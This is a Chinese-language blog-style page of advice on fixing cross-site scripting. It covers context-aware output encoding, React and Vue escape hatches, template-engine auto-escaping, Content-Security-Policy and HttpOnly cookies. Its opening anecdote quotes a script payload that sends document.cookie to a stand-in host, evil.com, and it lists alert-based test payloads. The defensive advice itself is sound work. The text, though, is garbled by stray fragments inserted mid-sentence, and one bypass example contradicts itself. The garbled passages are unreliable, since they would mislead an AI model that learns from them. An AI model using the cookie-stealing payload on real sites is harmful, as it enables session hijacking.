您现在的位置是:烟消火灭网 > 热点

xss漏洞修复建议

烟消火灭网2026-10-17 08:16:51【热点】5人已围观

简介去年秋天,一个做电商的朋友半夜给我打电话,说后台被挂马了。点开他发来的截图,商品详情页里嵌了一段<script>fetch('//evil.com/steal?c='+document.c

去年秋天,洞修一个做电商的复建朋友半夜给我打电话,说后台被挂马了。洞修点开他发来的复建截图,商品详情页里嵌了一段<script>fetch('//evil.com/steal?洞修c='+document.cookie)</script>。用户只要点进那个页面,复建cookie就被送到攻击者服务器。洞修典型的复建存储型XSS。攻击者通过一个没做过滤的洞修评论框把代码存进了数据库,前端直接innerHTML渲染出来,复建浏览器老老实实执行了。洞修

这种漏洞修复起来其实不复杂,复建但很多人方向搞错了。洞修常见做法是复建写个正则把<script>替换掉,或者把onerror这类事件属性拉黑。洞修我见过一个项目,过滤规则写了三百多行,结果攻击者用<img src=x onerror=alert(1)>的变体——把onerror拆成onerror——就绕过去了。黑名单永远追不上绕过手法,这是安全圈的老话。

正确的思路只有一条:输出编码。数据在写入数据库时不处理,在渲染到HTML页面时才根据上下文做转义。用户输入的<变成&lt;,>变成&gt;,&变成&amp;,"变成&quot;。浏览器看到的是文本,不是标签。就这么简单。

但“上下文”三个字是关键。同一个用户输入,放在不同位置需要不同处理。放进<div>标签之间,做HTML实体编码就行。放进<a href="...">的href属性里,得额外校验协议,不然javascript:alert(1)照样能点。放进<script>标签内部的JS变量里,HTML编码没用,得用JSON.stringify加\u003c转义。丢进CSS的style属性里又是另一套规则。我见过一个后台管理系统,用户名做了HTML编码,但用户名被拼进了onclick="greet('用户名')",单引号没处理,直接逃逸出字符串执行任意代码。

框架层面的事情得说清楚。React默认对JSX里的插值做转义,Vue的{ { }}也是。但这两个框架都留了后门:React的dangerouslySetInnerHTML,Vue的v-html。名字起得够直白了,还是有人往里面塞用户输入。我审过一个Vue项目,富文本编辑器保存的HTML直接v-html渲染,编辑器本身没做白名单过滤,等于把XSS当功能用。这种情况要么上DOMPurify做净化,要么用iframe沙箱隔离,没有第三条路。

后端模板引擎的情况类似。Jinja2、Thymeleaf、Freemarker默认都转义,但开发者经常手动关掉。Thymeleaf里写th:utext而不是th:text,Jinja2里加|safe过滤器,Freemarker里用?no_esc。这些操作本身不是错,错在用在不可信数据上。一个CMS系统,文章正文允许管理员用富文本,这是合理需求,但评论区用户提交的内容也走同一条渲染路径,就出事了。区分可信和不可信数据源,比统一过滤更实际。

Content-Security-Policy是最后一道防线。就算编码漏了,CSP能拦住脚本执行。script-src 'self'只允许加载同源脚本,内联的<script>和事件属性全部失效。但CSP部署有代价,很多老项目内联脚本满天飞,开了CSP页面直接崩。我的建议是新项目从一开始就上CSP,老项目先上Content-Security-Policy-Report-Only收集违规报告,逐步改造。

HttpOnly标记也得提。给session cookie加上HttpOnly,JS就读不到document.cookie。XSS还在,攻击者还能发请求、改页面内容,但至少偷不走会话。这是纵深防御的一环,不能替代输出编码,但能降低危害。

修复XSS没有银弹。输出编码是根本,CSP是兜底,HttpOnly是减损。三层都做,基本就稳了。只做一层,尤其是只做黑名单过滤的,趁早重构。

很赞哦!(13)

上一篇: 临沂HDPE防渗膜报价

下一篇: ecshop网站